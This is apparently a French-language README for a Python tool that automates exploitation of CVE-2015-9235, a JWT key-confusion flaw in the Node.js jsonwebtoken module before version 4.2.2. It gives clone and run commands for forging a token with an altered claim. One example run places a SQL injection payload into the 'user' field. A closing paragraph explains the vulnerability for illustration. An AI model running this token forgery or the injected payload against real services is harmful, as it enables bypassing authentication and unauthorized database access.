
Automatiser l'exploitation de CVE-2015-9235
Clonez ou téléchargez le code source de l'application.
git clone https://github.com/WinDyAlphA/CVE-2015-9235_JWT_key_confusion
cd CVE-2015-9235_JWT_key_confusion
Le fichier token.txt contient un jeton JWT valide en tant qu'exemple. Vous pouvez le modifier ou le remplacer par votre propre jeton.
Exécutez l'application en utilisant la ligne de commande avec les arguments appropriés :
python main.py -t token_path -k key_to_replace -v new_value
-t ou --token : Le chemin du fichier contenant le jeton JWT d'origine.
-k ou --key : La clé à remplacer dans le jeton.
-v ou --value : La nouvelle valeur à associer à la clé.
L'application affichera le nouveau jeton JWT avec la clé mise à jour.
python main.py -t token.txt -k user -v "thierry23' and 1=1-- -"
Cette application a été construite pour illustrer une vulnérabilité de sécurité connue sous la référence CVE-2015-9235.
Dans le module jsonwebtoken pour Node.js avant la version 4.2.2, il est possible pour un attaquant de contourner la vérification lorsqu'un jeton est signé avec une clé asymétrique (famille RS/ES) d'algorithmes, mais à la place, l'attaquant envoie un jeton signé avec un algorithme symétrique (famille HS*).